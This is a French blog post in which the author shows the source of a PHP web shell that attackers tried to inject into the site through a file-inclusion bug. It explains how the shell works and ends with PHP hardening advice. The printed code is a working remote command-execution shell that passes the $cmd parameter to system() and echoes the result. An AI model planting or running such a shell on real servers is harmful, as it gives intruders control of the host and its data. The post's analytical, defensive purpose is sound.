Depuis mon billet "Code Injection Proof", j'ai régulièrement des tentatives d'injection de code. Du coup, juste pour montrer et expliquer ce que faisait le code que l'on tentait de m'injecter, j'affiche le source.
<br><font face="arial" size="3">
<center>
<b>AlevirusS>C>S</b> - Systema Porco de Comando AHUhaUHa<br><br>
</center>
</font>
<font face="Arial" size="2"></center><br>
<b>#</b> OINC CMD : <br>
<b>#</b> Created by : <b>Alguem Porco AUhAUHAUa</b><br>
<br>
<br>
<hr color="purple" width=751px height=115px>
<br>
<pre><font face="Verdana" size="2">
<?
// CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
if (isset($chdir)) @chdir($chdir);
ob_start();
system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
$output = ob_get_contents();
ob_end_clean();
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output));
?>
</font></pre>
<br>
<hr color="purple" width=751px height=115px>
<br>
<font face="Verdana" size="3"><b>#AlevirusS>C>S</b><br>/j SCSul<br>
Commençons par le commencement, le fichier que l'injecteur tente d'injecter va produire du HTML d'une couleur bien spécifique[1]. Si le pavé qui est censé être bien visible ne se voit pas, alors l'injecteur tente d'autres variables.
Le principe du script est simple, si la variable $chdir est passée en argument, alors le script[2] se déplace dans le répertoire indiqué par cette variable. Dans tous les cas, le script tente de faire éxécuter au système la commande passée par la variable $cmd[3] en redirigeant le résultat vers un fichier qui est ensuite affiché[4]. Le reste n'est que mise en forme.
Donc que se passe-t-il si l'injecteur avait eu une réponse ? Eh bien tout dépend, de ce que votre hébergeur a configuré. Cela peut aller de la suppression de votre site, à la récupération totale de vos données, et même pire.
Le script est cependant d'un faible niveau puisqu'il ne prend pas en compte l'utilisation des Register_Global qui pourraient être sur OFF, ne permettant pas à son programme de fonctionner.
Donc, on ne le dira jamais assez lorsque vous développez en PHP ne cédez pas à la facilité, commencez par mettre la sécurité sur les Register_Global, continuez en utilisant la syntaxe error_reporting(E_ALL); en début de script. Puis suivant vos croyances utilisez le safe mode.
[1] Afin que le vil gredin puisse facilement identifier son forfait
[2] S'il est chargé bien sûr ^_-
[3] Dans le cas des tentatives précédement citées, il s'agissait de la commande id qui retourne les informations systèmes sur qui exécute le script
[4] Gestion laissé au fonction Output Control
| |||
© 2003-2008, Flyounet.
Nombre de billets : 390
Nombre de commentaires : 1219
Ce site respecte les standards :